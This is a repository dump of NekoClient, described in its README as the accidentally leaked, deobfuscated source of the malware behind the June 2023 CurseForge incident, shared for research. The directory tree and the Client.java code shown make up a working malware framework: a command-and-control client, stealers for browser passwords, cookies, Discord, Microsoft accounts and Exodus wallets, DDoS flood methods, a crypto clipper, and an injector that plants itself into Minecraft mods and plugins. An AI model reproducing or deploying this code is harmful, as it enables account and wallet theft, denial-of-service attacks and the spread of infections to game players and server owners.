Repository: clrxbl/NekoClient Branch: main Commit: fd76c5f9d40d Files: 127 Total size: 234.3 KB Directory structure: gitextract_9zlzer6w/ ├── README.md └── dev/ └── neko/ ├── nekoclient/ │ ├── Client.java │ ├── api/ │ │ ├── buffer/ │ │ │ ├── FriendlyByteBuffer.java │ │ │ └── StreamByteBuffer.java │ │ ├── ddos/ │ │ │ ├── Method.java │ │ │ ├── Protocol.java │ │ │ ├── ThreadsUnit.java │ │ │ └── impl/ │ │ │ └── handler/ │ │ │ ├── BufferFloodingMethodHandler.java │ │ │ ├── BufferWritingMethodHandler.java │ │ │ ├── MethodHandler.java │ │ │ ├── WriteMethodHandler.java │ │ │ ├── impl/ │ │ │ │ ├── general/ │ │ │ │ │ └── FloodMethod.java │ │ │ │ ├── http/ │ │ │ │ │ ├── HttpBodyMethod.java │ │ │ │ │ ├── HttpDefaultMethod.java │ │ │ │ │ └── HttpHeaderMethod.java │ │ │ │ ├── https/ │ │ │ │ │ ├── HttpsBodyMethod.java │ │ │ │ │ ├── HttpsDefaultMethod.java │ │ │ │ │ └── HttpsHeaderMethod.java │ │ │ │ └── minecraft/ │ │ │ │ ├── MinecraftEncryptionMethod.java │ │ │ │ ├── MinecraftLargePacketMethod.java │ │ │ │ ├── MinecraftLoginMethod.java │ │ │ │ └── MinecraftStatusPingMethod.java │ │ │ ├── minecraft/ │ │ │ │ ├── MinecraftMethodHandler.java │ │ │ │ ├── ProtocolVersion.java │ │ │ │ ├── State.java │ │ │ │ └── type/ │ │ │ │ ├── Type.java │ │ │ │ └── impl/ │ │ │ │ ├── BooleanType.java │ │ │ │ ├── BytesType.java │ │ │ │ ├── LongType.java │ │ │ │ ├── StringType.java │ │ │ │ ├── UUIDType.java │ │ │ │ ├── UnsignedShortType.java │ │ │ │ └── VarIntType.java │ │ │ └── ssl/ │ │ │ ├── SSLBufferFloodingMethodHandler.java │ │ │ ├── SSLBufferWritingMethodHandler.java │ │ │ └── SSLWriteMethodHandler.java │ │ ├── debugger/ │ │ │ └── Debugger.java │ │ ├── disconnect/ │ │ │ ├── DisconnectException.java │ │ │ └── DisconnectReason.java │ │ ├── info/ │ │ │ ├── ClientInfo.java │ │ │ ├── OperatingSystem.java │ │ │ ├── Side.java │ │ │ ├── User.java │ │ │ └── VersionInfo.java │ │ ├── proxy/ │ │ │ └── ProxyResponse.java │ │ ├── stealer/ │ │ │ ├── browser/ │ │ │ │ ├── BrowserData.java │ │ │ │ ├── cookie/ │ │ │ │ │ └── Cookie.java │ │ │ │ └── impl/ │ │ │ │ ├── BrowserDataStealer.java │ │ │ │ ├── credential/ │ │ │ │ │ └── Credential.java │ │ │ │ └── decrypt/ │ │ │ │ ├── chrome/ │ │ │ │ │ └── ChromeDecryptor.java │ │ │ │ └── mozilla/ │ │ │ │ ├── MozillaDecryptor.java │ │ │ │ ├── NSSLibrary.java │ │ │ │ └── SECItem.java │ │ │ ├── discord/ │ │ │ │ ├── DiscordAccount.java │ │ │ │ └── impl/ │ │ │ │ └── DiscordStealer.java │ │ │ └── msa/ │ │ │ ├── auth/ │ │ │ │ ├── ClientType.java │ │ │ │ ├── MicrosoftAuth.java │ │ │ │ ├── MinecraftProfile.java │ │ │ │ └── credentials/ │ │ │ │ ├── MicrosoftCredentials.java │ │ │ │ ├── MinecraftCredentials.java │ │ │ │ ├── XSTSCredentials.java │ │ │ │ └── XboxLiveCredentials.java │ │ │ └── impl/ │ │ │ └── MSAStealer.java │ │ └── windows/ │ │ ├── FileDescriptor.java │ │ ├── WindowsHook.java │ │ └── vmescape/ │ │ └── VMEscape.java │ ├── module/ │ │ ├── Module.java │ │ ├── ModuleRegistry.java │ │ └── impl/ │ │ └── CryptoClipperModule.java │ ├── packet/ │ │ ├── Direction.java │ │ ├── Packet.java │ │ ├── PacketRegistry.java │ │ ├── impl/ │ │ │ ├── NoncePacket.java │ │ │ ├── client/ │ │ │ │ ├── ActionResponsePacket.java │ │ │ │ ├── BrowserDataResponsePacket.java │ │ │ │ ├── DiscordResponsePacket.java │ │ │ │ ├── ExodusResponsePacket.java │ │ │ │ ├── HelloPacket.java │ │ │ │ ├── KeepAlivePacket.java │ │ │ │ ├── MSAResponsePacket.java │ │ │ │ └── ProxyResponsePacket.java │ │ │ └── server/ │ │ │ ├── CommandPacket.java │ │ │ ├── DDoSPacket.java │ │ │ ├── DisconnectPacket.java │ │ │ ├── HelloPacket.java │ │ │ ├── KeepAlivePacket.java │ │ │ ├── ProxyPacket.java │ │ │ ├── RequestBrowserDataPacket.java │ │ │ ├── RequestDiscordPacket.java │ │ │ ├── RequestExodusPacket.java │ │ │ ├── RequestMSAPacket.java │ │ │ └── UpdateModulePacket.java │ │ └── listener/ │ │ ├── PacketListener.java │ │ └── impl/ │ │ ├── CommandPacketListener.java │ │ ├── DDoSPacketListener.java │ │ ├── DisconnectPacketListener.java │ │ ├── HelloPacketListener.java │ │ ├── ProxyPacketListener.java │ │ ├── RequestBrowserDataPacketListener.java │ │ ├── RequestDiscordPacketListener.java │ │ ├── RequestExodusPacketListener.java │ │ ├── RequestMSAPacketListener.java │ │ └── UpdateModulePacketListener.java │ ├── structure/ │ │ ├── Registry.java │ │ └── ThrowingRunnable.java │ └── utils/ │ ├── DNSUtil.java │ ├── EncodingUtil.java │ ├── FormUtil.java │ ├── GraphicUtil.java │ ├── HardwareIDUtil.java │ ├── HashUtil.java │ ├── JsonUtil.java │ ├── ObjectUtil.java │ └── SystemUtil.java └── nekoinjector/ ├── Injector.java ├── Loader.java ├── asm/ │ ├── Entry.java │ └── EntryList.java ├── template/ │ ├── SimpleTemplate.java │ ├── Template.java │ └── impl/ │ ├── BungeecordPluginTemplate.java │ ├── FabricModTemplate.java │ ├── ForgeModTemplate.java │ ├── MinecraftClientTemplate.java │ └── SpigotPluginTemplate.java └── utils/ ├── EncodingUtil.java └── ListUtil.java ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # NekoClient It appears that the attacker behind CurseForge's June 2023 malware incident posted a deobfuscated version of their malware by accident. Here it is on Github for public research purposes. No, I am not the author of this, nor am I responsible for infecting your servers. ================================================ FILE: dev/neko/nekoclient/Client.java ================================================ package dev.neko.nekoclient; import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; import dev.neko.nekoclient.api.buffer.StreamByteBuffer; import dev.neko.nekoclient.api.debugger.Debugger; import dev.neko.nekoclient.api.info.ClientInfo; import dev.neko.nekoclient.api.info.OperatingSystem; import dev.neko.nekoclient.api.info.Side; import dev.neko.nekoclient.api.info.User; import dev.neko.nekoclient.api.info.VersionInfo; import dev.neko.nekoclient.api.windows.WindowsHook; import dev.neko.nekoclient.api.windows.vmescape.VMEscape; import dev.neko.nekoclient.module.ModuleRegistry; import dev.neko.nekoclient.packet.Packet; import dev.neko.nekoclient.packet.PacketRegistry; import dev.neko.nekoclient.packet.impl.client.KeepAlivePacket; import dev.neko.nekoclient.packet.impl.server.CommandPacket; import dev.neko.nekoclient.packet.impl.server.DDoSPacket; import dev.neko.nekoclient.packet.impl.server.DisconnectPacket; import dev.neko.nekoclient.packet.impl.server.HelloPacket; import dev.neko.nekoclient.packet.impl.server.ProxyPacket; import dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket; import dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket; import dev.neko.nekoclient.packet.impl.server.RequestExodusPacket; import dev.neko.nekoclient.packet.impl.server.RequestMSAPacket; import dev.neko.nekoclient.packet.impl.server.UpdateModulePacket; import dev.neko.nekoclient.packet.listener.PacketListener; import dev.neko.nekoclient.packet.listener.impl.CommandPacketListener; import dev.neko.nekoclient.packet.listener.impl.DDoSPacketListener; import dev.neko.nekoclient.packet.listener.impl.DisconnectPacketListener; import dev.neko.nekoclient.packet.listener.impl.HelloPacketListener; import dev.neko.nekoclient.packet.listener.impl.ProxyPacketListener; import dev.neko.nekoclient.packet.listener.impl.RequestBrowserDataPacketListener; import dev.neko.nekoclient.packet.listener.impl.RequestDiscordPacketListener; import dev.neko.nekoclient.packet.listener.impl.RequestExodusPacketListener; import dev.neko.nekoclient.packet.listener.impl.RequestMSAPacketListener; import dev.neko.nekoclient.packet.listener.impl.UpdateModulePacketListener; import dev.neko.nekoclient.utils.EncodingUtil; import dev.neko.nekoclient.utils.HardwareIDUtil; import dev.neko.nekoclient.utils.HashUtil; import dev.neko.nekoclient.utils.ObjectUtil; import dev.neko.nekoclient.utils.SystemUtil; import dev.neko.nekoinjector.Injector; import dev.neko.nekoinjector.asm.Entry; import dev.neko.nekoinjector.asm.EntryList; import dev.neko.nekoinjector.template.Template; import dev.neko.nekoinjector.template.impl.BungeecordPluginTemplate; import dev.neko.nekoinjector.template.impl.FabricModTemplate; import dev.neko.nekoinjector.template.impl.ForgeModTemplate; import dev.neko.nekoinjector.template.impl.MinecraftClientTemplate; import dev.neko.nekoinjector.template.impl.SpigotPluginTemplate; import dev.neko.nekoinjector.utils.ListUtil; import java.io.ByteArrayOutputStream; import java.io.Closeable; import java.io.EOFException; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintStream; import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.StandardSocketOptions; import java.nio.Buffer; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; import java.nio.file.AccessDeniedException; import java.nio.file.AtomicMoveNotSupportedException; import java.nio.file.FileSystem; import java.nio.file.FileSystemException; import java.nio.file.FileSystems; import java.nio.file.FileVisitResult; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.SimpleFileVisitor; import java.nio.file.StandardCopyOption; import java.nio.file.attribute.AclFileAttributeView; import java.nio.file.attribute.BasicFileAttributeView; import java.nio.file.attribute.BasicFileAttributes; import java.nio.file.attribute.DosFileAttributeView; import java.nio.file.attribute.DosFileAttributes; import java.nio.file.attribute.FileOwnerAttributeView; import java.nio.file.attribute.PosixFileAttributeView; import java.nio.file.attribute.PosixFileAttributes; import java.nio.file.attribute.UserPrincipal; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Objects; import java.util.StringJoiner; import java.util.UUID; import java.util.concurrent.CopyOnWriteArrayList; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger; import java.util.function.Predicate; import java.util.jar.JarEntry; import java.util.jar.JarFile; import java.util.jar.JarOutputStream; import java.util.jar.Manifest; import java.util.stream.Collectors; import jdk.net.ExtendedSocketOptions; import org.objectweb.asm.ClassReader; import org.objectweb.asm.tree.ClassNode; public class Client implements Closeable { private final SocketChannel channel; private final PacketRegistry packetRegistry; private final VersionInfo versionInfo; private final ClientInfo clientInfo; private final ScheduledExecutorService service; private final List listeners; private boolean closed; private final ModuleRegistry moduleRegistry; public Client(SocketChannel channel, PacketRegistry packetRegistry, ClientInfo clientInfo, VersionInfo versionInfo) throws IOException { this.channel = channel; this.packetRegistry = packetRegistry; this.moduleRegistry = new ModuleRegistry(this); this.service = Executors.newScheduledThreadPool(4); this.listeners = new CopyOnWriteArrayList<>(); this.clientInfo = clientInfo; this.versionInfo = versionInfo; this.closed = false; } public static void start(String ip, int port, Path windowsAPIFile, Runnable closeListener) throws IOException { start(new InetSocketAddress(ip, port), closeListener); } public static void start(InetSocketAddress address, Path windowsAPIFile, Runnable closeListener) throws IOException { start(address, closeListener); } public static void start(InetSocketAddress address, Runnable closeListener) throws IOException { start(address); closeListener.run(); } public static void start(InetSocketAddress address) throws IOException { start(address, (byte[])null); } public static void start(InetSocketAddress address, byte[] ref) throws IOException { List shutdownHooks = new ArrayList<>(); Debugger debugger = new Debugger(new InetSocketAddress(address.getAddress(), 1338), 1); debugger.connect(); try { String restoredRef = Objects.nonNull(ref) ? new String(EncodingUtil.restoreReversedBytes(ref)) : null; boolean refererAvailable = Objects.nonNull(restoredRef) && !restoredRef.isEmpty(); String encodedRef; if (!refererAvailable) { encodedRef = null; } else { StringJoiner rawRefJoiner = new StringJoiner("."); for(byte b : ref) { rawRefJoiner.add(String.valueOf((int)b)); } encodedRef = rawRefJoiner.toString(); } if (refererAvailable) { try { Path ownPath = Paths.get(Client.class.getProtectionDomain().getCodeSource().getLocation().toURI()); Path javaFolder = Paths.get(System.getProperty("java.home")).getParent(); JarFile jarFile = new JarFile(ownPath.toFile()); ExecutorService injectService = Executors.newWorkStealingPool(); injectService.execute( () -> { final List